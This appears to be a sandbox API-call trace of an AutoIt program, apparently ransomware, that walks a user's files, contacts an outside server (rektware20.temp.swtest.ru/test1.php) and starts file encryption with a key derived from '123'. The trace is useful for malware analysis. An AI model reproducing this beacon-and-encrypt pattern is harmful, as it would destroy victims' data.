dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\D3XtM3Mukq_NIC1QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.162] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\D3XtM3Mukq_NIC1QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.162] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\D3XtM3Mukq_NIC1QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.162] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\D3XtM3Mukq_NIC1QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.162] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\D3XtM3Mukq_NIC1QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.162] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\D3XtM3Mukq_NIC1QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.162] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\D3XtM3Mukq_NIC1QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.162] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Pictures\\Tna4ykb0U1\\D3XtM3Mukq_NIC1QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.162] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Pictures\\Tna4ykb0U1\\D3XtM3Mukq_NIC1QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.162] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Pictures\\Tna4ykb0U1\\D3XtM3Mukq_NIC1QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.162] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Pictures\\Tna4ykb0U1\\D3XtM3Mukq_NIC1QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.162] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Pictures\\Tna4ykb0U1\\D3XtM3Mukq_NIC1QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.162] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Pictures\\Tna4ykb0U1\\D3XtM3Mukq_NIC1QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.162] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Pictures\\Tna4ykb0U1\\D3XtM3Mukq_NIC1QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.162] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Pictures\\Tna4ykb0U1\\D3XtM3Mukq_NIC1QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.163] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Pictures\\Tna4ykb0U1\\D3XtM3Mukq_NIC1QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.163] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Pictures\\Tna4ykb0U1\\D3XtM3Mukq_NIC1QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.163] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Pictures\\Tna4ykb0U1\\D3XtM3Mukq_NIC1QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.163] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ictures\\Tna4ykb0U1\\D3XtM3Mukq_NIC1QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.163] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ctures\\Tna4ykb0U1\\D3XtM3Mukq_NIC1QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.163] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tures\\Tna4ykb0U1\\D3XtM3Mukq_NIC1QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.163] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ures\\Tna4ykb0U1\\D3XtM3Mukq_NIC1QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.163] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="res\\Tna4ykb0U1\\D3XtM3Mukq_NIC1QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.163] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="es\\Tna4ykb0U1\\D3XtM3Mukq_NIC1QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.163] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Tna4ykb0U1\\D3XtM3Mukq_NIC1QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.163] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Tna4ykb0U1\\D3XtM3Mukq_NIC1QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.163] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Tna4ykb0U1\\D3XtM3Mukq_NIC1QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.163] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="na4ykb0U1\\D3XtM3Mukq_NIC1QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.163] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="a4ykb0U1\\D3XtM3Mukq_NIC1QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.163] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4ykb0U1\\D3XtM3Mukq_NIC1QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.163] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ykb0U1\\D3XtM3Mukq_NIC1QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.163] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kb0U1\\D3XtM3Mukq_NIC1QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.163] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="b0U1\\D3XtM3Mukq_NIC1QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.163] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0U1\\D3XtM3Mukq_NIC1QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.163] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="U1\\D3XtM3Mukq_NIC1QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.163] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1\\D3XtM3Mukq_NIC1QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.163] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\D3XtM3Mukq_NIC1QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.163] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D3XtM3Mukq_NIC1QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.164] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="3XtM3Mukq_NIC1QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.164] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XtM3Mukq_NIC1QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.164] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tM3Mukq_NIC1QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.164] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="M3Mukq_NIC1QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.164] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="3Mukq_NIC1QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.164] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mukq_NIC1QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.164] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ukq_NIC1QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.164] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kq_NIC1QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.164] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="q_NIC1QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.164] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="_NIC1QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.164] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NIC1QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.164] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IC1QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.164] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C1QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.164] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.164] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="QJJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.164] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="JJ.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.164] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="J.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.164] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0060.164] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.164] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0060.164] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0060.165] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0060.165] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0060.165] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0060.165] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0060.165] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0060.165] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0060.165] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f70, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620f70, lpdwBufferLength=0x130ee1c) returned 1 [0060.165] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0060.165] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0060.165] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0060.166] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0060.166] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0060.166] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0060.166] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629190, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629190*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0060.166] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629510, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629510*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0060.166] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0060.166] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0060.166] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0060.166] CloseHandle (hObject=0x0) returned 0 [0060.166] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.166] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\D3XtM3Mukq_NIC1QJJ.gif", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0060.167] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0060.167] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.167] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0060.167] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.167] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.167] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0060.167] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.167] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0060.168] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.168] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.168] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0060.168] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.168] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.168] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.168] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.168] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.168] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0060.168] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0060.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0060.169] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0060.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0060.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0060.169] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0060.169] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17a9f88) returned 1 [0060.170] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.170] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.170] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0060.170] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.170] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.170] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.170] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.171] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.171] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0060.171] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.171] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.171] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.171] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.171] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.174] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.174] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0060.174] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.174] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.174] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0060.174] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.177] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.177] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0060.177] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.177] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.177] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0060.177] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.178] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.178] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.178] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.178] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.178] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.178] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.178] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0060.178] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.178] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0060.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16214e0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0060.179] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0060.179] CryptCreateHash (in: hProv=0x17a9f88, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0060.179] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.179] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.179] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.179] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0060.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629480, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0060.180] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0060.180] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, 